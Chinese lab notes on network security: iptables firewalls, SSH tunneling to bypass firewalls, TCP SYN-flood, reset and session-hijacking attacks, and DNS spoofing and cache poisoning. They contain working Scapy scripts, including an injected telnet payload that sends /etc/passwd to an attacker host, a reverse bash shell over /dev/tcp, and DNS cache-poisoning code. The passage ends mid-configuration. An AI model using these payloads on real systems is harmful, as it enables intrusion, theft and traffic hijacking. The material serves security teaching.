设置完成后,应当把默认策略改为DROP,这样只有满足规则的数据包才能够进入这台计算机,其他的都会被丢弃
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP
完整脚本(iptablesfw.sh):
该脚本用sudo执行
测试: 实验表明,telnet连23端口不成功,80端口是成功的,实验成功。
实验后要清除防火墙规则,否则后续实验会受影响,清除脚本(cleanup.sh):
iptables
是 Linux 中用于管理网络流量的防火墙工具。以下是一些快速指南,可以帮助你掌握 iptables
的基本用法。
1. 基本概念
iptables
使用表(table)、链(chain)和规则(rule)来控制数据包的处理。主要的表有:
-
filter(默认):用于控制数据包的允许或拒绝,包含 INPUT、FORWARD、OUTPUT 三个链。
-
nat:用于网络地址转换(NAT),例如端口转发。
-
mangle:用于修改数据包的内容。
每个链执行一组规则来决定数据包的去向:
-
INPUT:进来本机的数据包。
-
FORWARD:转发数据包给其他网络的路由器。
-
OUTPUT:从本机发出的数据包。
2. 查看当前规则
可以通过以下命令查看当前的 iptables
规则:
sudo iptables -L -v -n
3. 添加规则
格式:
sudo iptables -A 链 -p 协议 --dport 端口 -j 目标
-
-A:表示添加规则
-
链:指定链(INPUT, OUTPUT, FORWARD)
-
-p:协议,例如
tcp
或udp
-
--dport:指定端口号
-
-j:指定动作,例如
ACCEPT
、DROP
、REJECT
示例:允许访问 22 端口(SSH)
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
4. 删除规则
可以使用 -D
来删除规则,方法是指定规则的完整描述或规则号。
示例:删除刚刚添加的 22 端口规则
sudo iptables -D INPUT -p tcp --dport 22 -j ACCEPT
或者通过查看规则编号来删除:
sudo iptables -L --line-numbers
sudo iptables -D INPUT 1
5. 保存和恢复规则
在重启后保留规则,你可以保存当前规则并在启动时恢复。
# 保存规则(不同系统位置不同,以下为 Ubuntu 示例)
sudo iptables-save > /etc/iptables/rules.v4
# 恢复规则
sudo iptables-restore < /etc/iptables/rules.v4
6. 常用操作示例
-
拒绝某端口(例如 80 端口):
sudo iptables -A INPUT -p tcp --dport 80 -j DROP
-
限制某 IP 地址的访问(例如拒绝 IP
192.168.1.10
):sudo iptables -A INPUT -s 192.168.1.10 -j DROP
-
允许本地回环接口(localhost)流量:
sudo iptables -A INPUT -i lo -j ACCEPT
7. 清除所有规则
在测试时,如果需要清空所有规则,使用以下命令:
sudo iptables -F
8. 查看 NAT 表
要查看 NAT 表中的规则:
sudo iptables -t nat -L -v -n
这就是 iptables
的基本操作。
状态防火墙和应用防火墙
之前的都是无状态防火墙,这种防火墙独立地检查每个数据包。而数据包通常是上下文关联的。比如,如果只想让 那些属于已有连接的TCP数据包进入网络,就必须用状态防火墙。
状态防火墙
状态防火墙能监视连接的数据包,这个连接是广义的。 比如TCP是面向连接的,使用三次握手来建立连接。 UDP不是面向连接,但当一个UDP客户端和服务端开始交换数据时,状态防火墙认为连接已经建立,一段时间没有数据交换,就 认为连接终止。 ICMP也不是面向连接的。因ICMP消息仅有一轮请求与应答,当防火墙看到应答时,会认为连接被建立并同时终止。 复杂协议的连接,一些防火墙在传输层和网络层之上跟踪连接,如HTTP,FTP和IRC连接就是应用层协议,由于广泛使用, 防火墙也对这些连接跟踪。
Linux的连接跟踪框架
Linux内核提供了一个连接跟踪框架nf_conntrack,该框架也是建立在Netfilter上。这个框架保存连接状态信息。 每个进入nf_conntrack的数据包都会被标上一个连接状态,以便之后的钩子处理数据包。
nf_conntrack的状态有: 1、NEW, 用于建立连接 2、ESTABLISHED,连接已建立 3、RELATED, 这个状态专门用来建立不同连接之间的联系。如FTP中,控制流(端口21的数据流)被标记为ESTABLISHED, 而数据传输流被标记为RELATED连接。 4、INVALID, 标记不符合连接行为的数据包
搭建一个状态防火墙
上一课中iptables实现的一个防火墙有一个问题,它有一条规则是这么写的:
iptables -A OUTPUT -p tcp -j ACCEPT
这样有一个问题,就是它允许所有服务发出TCP数据包,而没有限制只允许这两个服务(SSH和HTTP)发出TCP数据包 为此改进这条规则,改为基于连接状态的规则:
sudo iptables -A OUTPUT -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
-m conntrack,使用conntrack模块中的规则 --ctstate ESTABLISHED, RELATED, 具备ESTABLISHED或RELATED状态的包
测试: 策略使用前抓包
策略使用后抓包
这个实验目的是应用之后,看不到服务端(150)发出的TCP包,但最终还是看到了,没有做成功
应用防火墙
数据包过滤器只检查传输层及其下层,应用防火墙检查所有层数据。 典型的应用防火墙是代理,因此也被称为应用代理防火墙 应用防火墙的一个普遍应用是Web代理,它用于控制浏览器可以访问的内容,Web代理主要用于过滤发送出去的数据包, 但也可以用于过滤进来的数据包。
在网络中搭建一个Web代理,最关键之处在于确保所有的网络流量经过代理服务器。 实现方式有以下几种: 1、修改系统配置来引导所有网络流量通过代理 2、修改浏览器的网络设置使所有的HTTP请求都通过指定的代理 3、使用iptables直接修改HTTP的IP数据包,将其目的IP地址和端口号改成代理的IP地址和端口号 最好的方式是不修改任何主机配置
代理技术也可被用于绕过防火墙。如果一个防火墙基于数据包的目的地址进行过滤,则可以用Web代理浏览因特网, 从而绕过防火墙。只需将目的地址修改为代理服务器的地址,让代理服务器获得网页并把结果传给即可。
Socks代理
SOCKS(socket secure)代理服务器,利用应用层和传输层之间的一个协议搭建防火墙,它就是 垫层(shim layer)或者OSI模型中的会话层(session layer)。利用这一层,代理服务器 可以独立于应用监视所有经过它的会话请求。 客户机软件需要实现SOCKS协议才能使用SOCKS代理。
绕过防火墙
最有效的绕过防火墙的方法是隧道技术,它能够隐藏数据的真实意图。搭建隧道的方式有很多种, 其中虚拟专用网络(virtual private network, VPN)在IP层搭建隧道,被广泛用来绕过防火墙。
使用SSH隧道绕过防火墙
实验场景: 公司防火墙会拦截所有进入公司的telnet数据,但允许用SSH登陆到内部一台叫apollo的机器 home是自己机器名称,work是公司内部的一台机器,平时上班和家里都有需要通过telnet到 work机器来工作。
Ssh本地端口通过跳板映射到其他机器
HostA$ ssh -L 0.0.0.0:PortA:HostC:PortC user@HostB HostA 上启动一个 PortA 端口,通过 HostB 转发到 HostC:PortC上,在 HostA 上运行
故要实现以上需求,只需两条命令:
ssh -L 8000:work:23 apollo
通过apollo,把本机8000端口映射到work的23端口
telnet localhost 8000
相当于telnet到了work的23端口
另一个实验场景: 正在使用公司内的work计算机,想访问facebook,但公司防火墙阻止访问。
ssh -L 8000:www.facebook.com:80 home
通过home机器,把本机8000映射到facebook的80端口,只需访问localhost:8000即可绕过防火墙
动态端口转发
上面为一个专门的网站建立了一个SSH隧道,那总不可能为每个网站都建一个隧道,就需要使用动态端口转发
本地socks5代理
HostA$ ssh -D localhost:1080 HostB 在 HostA 的本地 1080 端口启动一个 socks5 服务, 通过本地 socks5 代理的数据会通过 ssh 链接先发送给 HostB,再从 HostB 转发送给远程主机 那么在 HostA 上面,浏览器配置 socks5 代理为 127.0.0.1:1080, 看网页时就能把数据通过 HostB 代理出去,类似 ss/ssr 版本,只不过用 ssh 来实现
动态端口转发工作在TCP/IP模型的应用层和传输层之间(即OSI模型的会话层),因此它独立于应用逻辑,比 Web代理更加通用。
使用VPN绕过防火墙
最初开发VPN是出于安全考虑,希望提供从外部专用网络到内网的安全访问。然而,如今VPN通常被用来绕过防火墙, 尤其是绕过出口过滤。
Tcp安全
TCP 建立在 IP 协议之上,传输层是网络协议服务的最高层,同时也是用户交互网络的最底层。
1. TCP 协议概述 (来源 ,,,,, )
-
定义和功能: 传输控制协议 (TCP) 是互联网协议套件的核心协议之一,位于 IP 层之上,属于传输层。它为应用程序提供主机到主机通信服务,确保可靠、有序的数据传输。TCP 建立在 IP 协议之上,传输层是网络协议服务的最高层,同时也是用户交互网络的最底层。
-
特点:
-
面向连接: 在数据传输开始之前,必须先建立连接,确保通信双方都准备好进行数据交换。
-
可靠传输: 通过序列号、确认号、校验和等机制,确保数据按序、完整地传输,并进行错误检测和重传。
-
全双工通信: 通信双方可以同时发送和接收数据。
-
流量控制: 通过滑动窗口机制,控制数据发送速率,避免接收方缓冲区溢出。
-
拥塞控制: 通过慢启动、拥塞避免等算法,动态调整数据发送速率,避免网络拥塞。
-
2. TCP 程序工作机制 (来源 ,,,,)
-
客户端程序:
-
创建套接字: 使用
socket()
系统调用创建一个套接字,并指定通信类型为SOCK_STREAM
。 -
发起连接: 使用
connect()
系统调用向服务器发起连接请求,指定服务器的 IP 地址和端口号。 -
发送数据: 连接建立后,使用
send()
系统调用向服务器发送数据。 -
接收数据: 使用
recv()
系统调用从服务器接收数据。 -
关闭连接: 使用
close()
系统调用关闭连接。
-
-
服务器程序:
-
创建套接字: 使用
socket()
系统调用创建一个套接字,并指定通信类型为SOCK_STREAM
。 -
绑定端口号: 使用
bind()
系统调用将套接字绑定到一个特定的端口号,以便客户端可以通过该端口连接到服务器。 -
监听连接请求: 使用
listen()
系统调用监听来自客户端的连接请求。 -
接受连接请求: 使用
accept()
系统调用接受来自客户端的连接请求,并创建一个新的套接字来处理该连接。 -
创建子进程: 使用
fork()
系统调用创建一个新的进程来处理该连接,以便服务器可以同时处理多个客户端连接。 -
发送和接收数据: 子进程使用
send()
和recv()
系统调用与客户端进行数据交换。 -
关闭连接: 子进程使用
close()
系统调用关闭与客户端的连接。
-
3. TCP 数据传输过程 (来源 ,,,,,,)
数据传输的底层原理
连接建立后,操作系统分配两个缓冲区:发送缓冲区和接收缓冲区。TCP是双工的,两端可以发送和接收数据。 当应用发送数据时,它不直接构建一个数据包,而是将数据放在TCP发送缓冲区中,然后由操作系统的TCP协议栈代码 将数据打包发出。
数据包即使不按顺序到达,也能按序排列:在TCP数据包头部有一个字段叫序列号,表示载荷中的第一个字节对应的 序列号。当数据包到达接收端时,TCP利用TCP数据头部的序列号将数据放进接收缓冲区的正确位置。
TCP中,一旦数据放入接收缓冲区,它们会被合并成一条数据流,数据包边界将会消失,而UDP不是这样。
接收端会告诉发送端数据已经收到,会发送确认包,出于效率考虑,不是对每个包都发送确认包,而是告知发送端下一个希望 收到的数据的序列号。
4. TCP 头部结构 (来源 ,,,,,,)
-
源端口号和目标端口号 (各 16 位): 用于标识发送方和接收方的应用程序。
-
序列号 (32 位): 用于标识该段数据的第一个字节的序号。如果 SYN 标志位被设置,则表示这是初始序列号。
-
确认号 (32 位): 用于确认已接收到的数据,其值表示期望接收的下一个字节的序号。仅当 ACK 标志位被设置时有效。
-
头部长度 (4 位): 用于表示 TCP 头部的长度,以 32 位字为单位。
-
保留位 (6 位): 未使用。
-
标志位 (6 位):
包括 SYN、FIN、ACK、RST、PSH 和 URG 等标志位,用于控制 TCP 连接和数据传输过程。
-
SYN: 用于建立连接。
-
FIN: 用于断开连接。
-
ACK: 用于确认数据包。
-
RST: 用于重置连接。
-
PSH: 用于立即发送数据。
-
URG: 用于标识紧急数据。
-
-
窗口大小 (16 位): 用于流量控制,表示接收方当前可接收的数据量。
-
校验和 (16 位): 用于验证 TCP 头部和数据的完整性。
-
紧急指针 (16 位): 用于指向紧急数据的结束位置。仅当 URG 标志位被设置时有效。
-
选项 (0-320 位,32 位对齐): 用于扩展 TCP 头部,例如添加时间戳、最大段大小等信息。
TCP头部
TCP头部长度用32位字的数量来计量,因此将这个域的值乘以4才得到TCP头部字节数。 窗口大小用来表明TCP段的发送者希望接收的字节数的上限。流量控制用的。 检验和计算范围包括IP头部、TCP头部、TCP数据。 紧急指针用于紧急/优先级的目的。紧急数据不需要排队。
5. TCP 三次握手协议 (来源 ,,,,, )
-
步骤:
-
客户端发送 SYN 包: 客户端向服务器发送一个 SYN 包,其中包含一个随机生成的初始序列号 (x)。
-
服务器发送 SYN-ACK 包: 服务器收到 SYN 包后,回复一个 SYN-ACK 包,其中包含服务器自己的随机生成的初始序列号 (y),以及对客户端 SYN 包的确认 (x+1)。
-
客户端发送 ACK 包: 客户端收到 SYN-ACK 包后,回复一个 ACK 包,确认服务器的序列号 (y+1)。
-
-
目的:
-
确保双方都准备好进行数据传输。
-
协商初始序列号。
-
建立连接状态。
-
6. TCP 连接状态 (来源 ,,,,)
-
LISTEN: 服务器监听连接请求的状态。
-
SYN_SENT: 客户端已发送 SYN 包,等待服务器回复的状态。
-
SYN_RECV: 服务器已收到 SYN 包,并发送 SYN-ACK 包,等待客户端回复的状态。
-
ESTABLISHED: 连接已建立,可以进行数据传输的状态。
-
FIN_WAIT_1: 客户端已发送 FIN 包,等待服务器回复的状态。
-
FIN_WAIT_2: 客户端已收到服务器的 FIN 包的确认,等待服务器关闭连接的状态。
-
TIME_WAIT: 客户端已关闭连接,等待一段时间以确保服务器收到所有数据的状态。
-
CLOSE_WAIT: 服务器已收到 FIN 包,并发送确认,等待应用程序关闭连接的状态。
-
LAST_ACK: 服务器已发送 FIN 包,等待客户端确认的状态。
-
CLOSED: 连接已关闭的状态。
7. TCP 安全问题
由于 TCP 协议的特性和工作机制,存在一些安全风险,主要包括以下几种攻击类型:
-
TCP 泛洪攻击
(来源,,,,,)
-
利用 TCP 三次握手过程,发送大量伪造的 SYN 包,使服务器资源耗尽,无法处理正常连接请求。
-
防御措施:使用 SYN Cookies、限制半开连接数量、部署入侵检测系统等。
-
-
TCP 重置攻击
(来源,,,)
-
伪造 RST 包,强制断开已建立的 TCP 连接。
-
防御措施:加密传输数据、使用安全的协议 (如 SSH)、部署防火墙等。
-
-
TCP 会话劫持攻击
(来源,,,,,)
-
在已建立的 TCP 连接中注入恶意数据,例如伪造身份、窃取数据、篡改数据等。
-
防御措施:加密传输数据、使用安全的协议、部署入侵检测系统等。
-
8. TCP 协议发展趋势
随着互联网的不断发展,TCP 协议也在不断改进和完善,以应对新的挑战和需求。未来 TCP 协议的发展趋势主要包括以下几个方面:
-
提高传输效率: 通过改进拥塞控制算法、优化数据传输机制等,进一步提高 TCP 协议的传输效率。
-
增强安全性: 通过引入新的安全机制、改进现有安全机制等,增强 TCP 协议的安全性,抵御各种攻击。
SYN泛洪攻击
SYN泛洪攻击针对的是TCP建立连接使用的三次握手协议。
三次握手协议
1、客户端发送SYN包给服务端,用随机产生的数字x作为初始序列号。(因TCP头部的SYN位被置为1,因此这个包叫 SYN包) 2、服务端收到SYN包后,回复一个SYN+ACK包,并用y作为初始序列号
服务端收到初始SYN包时,使用一个叫做传输控制块(TCB)的特殊数据结构来存储连接信息。到这一步时,连接还
没有建立,因此称为半打开连接。服务端将TCB存储在一个只用于存放半打开连接的队列中。在服务端从客户端得到
ACK包后,它会将TCB拿出队列。
如果ACK包没有到达,服务端会重新发送SYN+ACK包。如果最后的ACK包一直收不到,存储在半打开连接队列中的TCB
最终会因超时而被丢弃。
3、客户端收到后发一个ACK包结束这次握手
SYN泛洪攻击
攻击原理:在三次握手连接完成之前,服务器将所有半打开连接存储在一个队列中,这个队列的容量是有限的,如果攻击者 填满这个队列,那么服务器将没有空间来存储任何半打开连接的TCB,不再接受任何新的SYN包,结果就是任何人无法连接 服务器。
这样攻击过程如下: 1、连续发送SYN包给服务器 2、不要完成三次握手协议的第三步
导致TCB记录被移出队列的情况有以下几种: 1、完成三次握手 2、记录超时,一般40s 3、服务器收到针对半打开连接的RST包
有防火墙因素攻击变复杂
当使用SYN泛洪攻击服务器时,攻击者需要使用随机的源IP地址,否则攻击很容易被防火墙屏蔽。 当服务器回复SYN+ACK包时,如果伪造的IP地址没有对应计算器,半打开连接将会在队列中停留直到超时丢弃。 如果伪造的IP地址到达了真实的计算机,计算器将会发送TCP RST包给服务器。 实践中会有很多RST包,攻击必须和这些RST包竞争。
TCP复位攻击
TCP复位攻击的目标是破坏两个主机之间已存在的连接。
关闭TCP连接
方式一:
1、A没有更多数据传给B时,发送FIN包给B 2、B收到后,回复ACK包,A到B的连接就关闭了,但B到A连接依旧保持 3、如果B也要关闭到A的连接,发送FIN,A回复ACK,就关闭
方式二:
只需发送RST包,连接立刻中断,主要用在没有时间或者无法使用FIN协议的紧急情况。 比如发现SYN泛洪攻击。
TCP复位攻击的条件
假冒的方式发送RST包来中断连接,叫TCP复位攻击。 要成功实现攻击,要正确设置: 1、源和目的IP地址、端口号 2、序列号
把攻击者和受害者放在同一个网络,可以降低猜测序列号的难度
防御TCP复位劫持攻击的措施:
加密传输数据: 通过加密TCP数据包,可以防止攻击者嗅探或伪造RST包。
使用安全的协议: 使用安全的协议(如SSH)可以提供更强的安全性,因为它们在网络层进行加密,可以保护整个TCP数据包,包括头部。
部署防火墙: 防火墙可以帮助阻止来自攻击者的恶意流量。
TCP会话劫持攻击背景
一台计算机可以有多个并发的TCP会话,因此它需要知道一个数据包属于哪一个TCP会话。TCP使用4元组来唯一确定一个会话: 源IP地址、目的IP地址、源端口号、目的端口号,这4个域称为TCP会话的特征。
为了伪造数据包,除了上面四个特征必须符合外,还有一个关键的序列号必须符合
如果接收方是telnet服务器,那从发送方到接收方的数据就是命令,一旦控制了该会话,就可以让telnet服务器运行攻击者的命令, 这就是把这类攻击称为TCP会话劫持的原因
发动TCP会话劫持攻击
实验目标:劫持客户端,在服务端用受害者权限运行命令 1、客户端telnet连接到服务端 2、Wireshark中找到客户端发给服务端的最后一个telnet数据包
客户端发给服务端最后一个数据包是ACK包,不包含任何数据,因此不占用任何序列号
3、宿主机启动TCP接收服务 一旦攻击命令在服务端上执行成功,就可以通过命令把输出发送到宿主机启动的服务器上
-lv是等待连接,并输出来自这个连接的任何内容
4、将服务端输出重定向到宿主机 服务端执行命令:
宿主机收到:
上面这个实验是说明原理的,实际攻击者不可能访问服务器。下面用scapy来实现这个攻击。
#!/usr/bin/python3
import sys
from scapy.all import *
print("SENDING SESSION HIJACKING PACKET.....")
client_addr = "192.168.230.151"
server_addr = "192.168.230.150"
IPLayer = IP(src=client_addr, dst=server_addr)
TCPLayer = TCP(sport=38276, dport=23, flags="A", seq=2833231448, ack=1828464701)
Data = "\r cat /etc/passwd > /dev/tcp/192.168.230.1/9090\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt, verbose=0)
1、宿主机起nc服务 2、宿主机发动攻击 宿主机执行:
sudo python sessionhijack.py
可以看到服务端的passwd重定向到了宿主机:
Warning
实验实际做下来,第一次没有劫持成功,重新wireshark取数据,更新脚本数值,第二次成功了,要多试几次
Note
脚本攻击中还必须设置ACK位,就是wireshark中的Acknowledgment Number。 当攻击过程中如果客户端还是持续地输入,那么序列号就不容易写正确,这时可以做一个估计N + 100,这样受害者 输入长度到的时候就会触发伪造数据,为了使伪造数据不与受害者数据混淆,故加入\r
TCP劫持攻击连接的过程
上一个实验对客户端和服务端的连接是破坏性的,攻击者发的伪造包,服务端收到后回复给了客户端,而客户端没有到达 这个序列号,会认为是无效的,就会丢弃。这样服务端没有收到确认就会重发,从而一直被客户端丢弃。
另一方面,如果客户端telnet程序输入时,序列号已经被占用,服务器会视为重复数据,不予理睬,而客户端就会重发。 一段时间后,双方TCP连接被断开。
创建反向shell
步骤和上面都一样,只是脚本中Data改成:
Data = "\r /bin/bash -i > /dev/tcp/192.168.230.1/9090 2>&1 0<&1 \r"
执行后在宿主机成功获取到了服务端的shell:
-i 交互模式 2>&1 标准错误重定向到1,1已经重定向到宿主机9090端口 0<&1 服务端输入重定向到1
如何防御会话劫持攻击
防止会话劫持攻击的关键在于使攻击者难以伪造数据包,并对有效载荷进行加密。 以下是一些常用的防御措施:
1. 随机化源端口号
通过随机分配源端口号,攻击者更难预测到正确的端口号,从而增加伪造数据包的难度。
2. 随机化初始序列号
TCP 三次握手过程中使用的初始序列号如果可以被预测,攻击者就能更容易地伪造数据包。 通过随机化初始序列号,攻击者将更难猜到正确的序列号。
3. 加密有效载荷
加密有效载荷可以有效防止攻击者读取或篡改传输的数据,即使攻击者成功劫持了会话,也无法获取敏感信息。 例如,SSH 协议在传输层进行加密,可以保护整个 TCP 数据包,包括头部,因此可以有效防御 TCP 会话劫持攻击。
4. 使用安全的协议
选择使用更安全的协议(如 SSH)可以提供更强的安全性。
5. 部署防火墙
防火墙可以过滤网络流量,阻止来自攻击者的恶意流量,从而降低会话劫持攻击的风险。
需要注意的是,随机化源端口号和初始序列号并不能完全防御本地攻击,因为攻击者可能已经获得了本地网络访问权限。
DNS
DNS基本概念
DNS的主要任务是把计算机名转换为IP地址
DNS域层次结构
域名结构如下图: 域的根节点称为根域,用符号.表示,下一层域结构称为顶级域名(TLD) 顶级域名有国家代码顶级域名(ccTLD),还有其他目的的顶级域名,如bank、coffee、jobs等 所有顶级域名的官方列表被因特网编号分配机构(IANA)掌管,到2017年已有1547个顶级域名
每个顶级域名都被IANA委托给一个指定代理,称为注册处。VeriSign是com和net域的指定代理,EDUCASE是edu域的指定代理 顶级域名的指定代理会通过注册商为公众提供注册服务,用户买了域名后,指定代理会负责把所购域名的相应信息填入注册数据库中 中国域名注册商有易名中国、万网、商务中国等
DNS区域
example.com是一家国际企业,有美国、英国、法国三个分部,分别对应三个子域名。在美国,又有三个分公司。 由于在芝加哥和波士顿的两家公司都比较小,因此放入了同一个区域。而纽约公司比较大,故单独用一个区域。
域名系统是通过区域组织的,一个DNS区域把树状域内临近的域名和子域组织起来,并且将管理权限分配给实体。 每个区域由权威机构管理。一个域名可以由多个机构管理。
权威域名服务器
每个DNS区域都至少有一个权威域名服务器来公布关于这个区域的信息。出于冗余目的应至少提供两个权威域名服务器。
因特网中区域的组织形式
DNS请求最终目的是从权威域名服务器得到答案,DNS采用分布式方法来找权威域名服务器,以树的形式来组织因特网中所有的 DNS区域,每一个权威域名服务器都可以沿着树的结构找到。
树的根被称为root区域,IANA负责维护这个区域,有13个权威域名服务器(DNS根服务器)管理这个区域,名称从a到m,即 从a.root-servers.net到m.root-servers.net。
DNS请求过程
用户计算机应用试图与另一台计算机通信时,会先向本机DNS解析器查询,如果失败,再发请求给系统指定的本地DNS服务器, 如果没有,该服务器会逐步从因特网其他DNS服务器查询IP地址。
本地DNS文件
在Linux中,DNS解析器依赖两个文件,分别是/etc/hosts和/etc/resolv.conf。 resolv.conf为DNS解析器提供信息,包含本地DNS服务器的IP地址等
Note
如果一台计算机用DHCP(动态主机配置协议)得到IP地址,它同时也会从DHCP得到本地DNS服务器的IP地址, 并且存储到resolv.conf文件中,这种情况下,resolv.conf文件会被自动修改,任何对该文件所做的手动 更改都会被覆盖。
本地DNS服务器和迭代查询过程
本地dns服务器
计算机通常使用局域网内的DNS服务器,这是"本地"的名字来源,现在许多非本地的DNS服务器可以用作本地 DNS服务器,如谷歌公共DNS等,本地的含义服务器不一定必须位于本地
dns查询过程:本地服务器为了找到www.example.net的ip地址,先是问root区域,root区域会告诉 .net服务器地址,再请求.net服务器,会告诉他example.net服务器的地址,最后才得到正确地址
dig命令会模拟本地DNS服务器的行为 先查根服务器:
根服务器告诉了13个.net域名服务器:
.net域名服务器返回了2个example.net区域的权威域名服务器:
DNS应答分为4个部分:问题部分、回复部分、授权部分和附加部分。 问题部分包含请求的问题 回复部分包含对请求问题的答案 授权部分包含指向权威服务器的记录 附加部分包含和请求有关的记录
DNS缓存,当本地DNS服务器从其他DNS服务器得到信息时,它会缓存这个信息,以便将来需要时不必浪费时间再次询问。 缓存中的每个信息都有一个存活时间。
比如查询mail.example.net,本地DNS服务器不会从root域开始查询,因为缓存中已经有example.net域名服务器的IP 地址,就直接从这个服务器开始查询。
为何是13台根服务器
因为在所有UDP实现中能保证正常工作的最大包长是512字节。要让所有根服务器数据能包含在一个512字节的UDP包中, 根服务器只能限制在13个
DNS攻击概述
针对DNS的攻击方式: 1、拒绝服务攻击 2、DNS欺骗攻击,主要目的是给受害者提供虚假的IP地址
对域名系统的四个攻击面: 1、在受感染的计算机中攻击 比如修改/etc/resolv.conf或/etc/hosts等
2、攻击用户机 当用户机给本地DNS服务器发送DNS请求时,攻击者可以立即发送一个欺骗的回复
3、攻击本地DNS服务器:缓存中毒攻击 当本地DNS服务器向因特网中的DNS服务器发送迭代请求时,攻击者可以发送欺骗回复给本地DNS服务器。 欺骗回复的信息通常被DNS服务器缓存,这个攻击被称为DNS缓存中毒攻击
4、从恶意DNS服务器发起攻击 比如用户访问attacker32.com这个网站时,一个DNS请求会最终到达attacker32.com的权威域名服务器。 除了在响应的回复部分提供IP地址外,这个域名服务器还会提供授权和附加部分的信息。 如果用户不加选择地接受域名服务器提供的所有信息,攻击者就可以通过提供虚假信息来达到攻击的目的。
攻击角度示意图如下:
攻击用户本机
假定攻破了用户主机,在/etc/hosts增加如下记录:
192.168.230.154 www.example.com
可以看到ping受到了影响,但dig没有影响
直接伪造结果给用户
当没有拿到用户机的shell,但是和用户机出于同一局域网,当用户机发dns请求时,对其dns伪造回复 攻击机运行:
sudo netwox 105 -h www.example.net -H 5.6.7.8 -a ns.attacker32.com -A 101.102.103.104
令网站www.example.net的查询结果为5.6.7.8 查询该网站的域名服务器为ns.attacker32.com ip为101.102.103.104
本地DNS缓存中毒攻击
上面的攻击是一次都要伪造一个数据包,比较麻烦,而DNS缓存中毒攻击则实现在一段时间内都不用伪造 攻击的是本地DNS服务器。实现攻击最重要的是伪造DNS回复,这个回复是UDP数据包。
实验的目的是在伪造的回复中,把主机名www.example.net映射到IP地址1.2.3.4,并且告诉本地DNS服务器 example.net的域名服务器是攻击者的计算机ns.attacker32.com,这样一来,所有对该域的查询都会发往 ns.attacker32.com
#!/usr/bin/python
from scapy.all import *
def spoof_dns(pkt):
if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname="example.net", type='NS',
rdata='ns.attacker32.com', ttl=259200)
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd,
aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=1,
an=Anssec, ns=NSsec)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt=sniff(filter='udp and (src host 192.168.230.154 and dst port 53)',
prn=spoof_dns)
步骤: 1、打开wireshark,清空消息 2、DNS服务端清理缓存
sudo rndc flush
3、攻击机器(这个实验必须要用三台虚拟机,攻击者用宿主机替代不成功)执行脚本
sudo python dns_spoof.py
4、用户机dig域名
dig www.example.net
Note
为了更方便测试,也可以将上述脚本filter改成: udp and dst port 53
攻击机器也可以不运行脚本,而改用一个命令:
sudo netwox 105 -h www.example.net -H 5.6.7.8 -a ns.attacker32.com -A 1.2.2.1 -d ens33 -T 600 -s raw
用户机得到dns解析结果:
将缓存转储到文件中,可以看到缓存已经被污染了
针对授权部分的攻击
上面的方法只有对一个域名的缓存,如果想要得到授权对一个域进行攻击的话,就需要配置一个合法的ip
实验的目的是伪造权威域名服务器,使所有example.net域的请求都指向attack32.com
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='192.168.230.154')
NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='192.168.230.156')
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1,nscount=1,arcount=1,an=Anssec, ns=NSsec1, ar=Addsec1)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
步骤: 1、服务端清缓存 2、wireshark清空 3、攻击机运行脚本 4、用户机dig 可以看到attack32.com已经被当作权威域名
Warning
这部分书上是通过修改服务端配置文件的方式来做实验的,那首先得攻陷服务器。这里的方法不用攻陷服务器只是伪造脚本实现, 更高明一点。
远程DNS缓存中毒攻击
本地DNS缓存中毒攻击有一定的局限性,必须在同一个局域网中。而远程攻击嗅探不到DNS请求。 DNS请求中有两个数据远程攻击者很难获得: 1、UDP头部的源端口号 DNS请求通过UDP数据包发送,源端口号是16比特的随机数字
2、DNS头部16比特的交易ID
Note
一个欺骗回复必须包含这两个值,否则回复不会被接受。远程攻击者只能猜测这两个值,猜到 的概率为2的32次方,如果1秒内发1000个请求,则需要50天。如果用1000个主机的僵尸网络 发起攻击,则需要1.2小时
而实际由于缓存的因素,DNS服务器不会对同一主机发起第二次请求,除非缓存内的结果过期。缓存的这个特点 使得攻击在尝试第二次攻击前需要等待,这使得远程DNS中毒攻击变得不现实。
Kaminsky攻击
为了对远程计算机发动欺骗攻击,需要完成三个任务: 1、触发目标服务器发送DNS请求 2、发送欺骗回复 3、使缓存失效 前两个任务很简单,难度比较大的是第三个,这一直是一个悬而未解的问题,直到Dan Kaminsky提出了一个巧妙的解决 方案,通过他的方案,攻击者可以持续地发起欺骗攻击,而不需要等待。
他的思路不是让缓存失效,而是去修改域名服务器的上一级权威域名服务器。用一个随机的二级域名向远程DNS服务器发请求, 在上一级权威域名服务器回复消息前,伪造消息给远程域名服务器,带上NS记录,如果猜错则继续用随机二级域名重试。
准备攻击环境
实验的目的是让ns.attacker32.com作为example.com的权威域名服务器 步骤: 0、配置用户机head文件和配置DNS服务器options和第二节一样 1、DNS服务器删除example.com这个区域 2、DNS服务器设置一个forward区域 由于没有真正拥有attacker32.com这个域名,但是修改配置也可以达到效果
vi /etc/bind/named.conf
zone "attacker32.com" {
type forward;
forwarders {
192.168.230.156;
};
};
3、配置攻击机
vi /etc/bind/named.conf
zone "attacker32.com" {
type master;
file "/etc/bind/attacker32.com.zone";
};
zone "example.com" {
type master;
file "/etc/bind/example.com.zone";
};
example.com.zone如下:
$TTL 3D
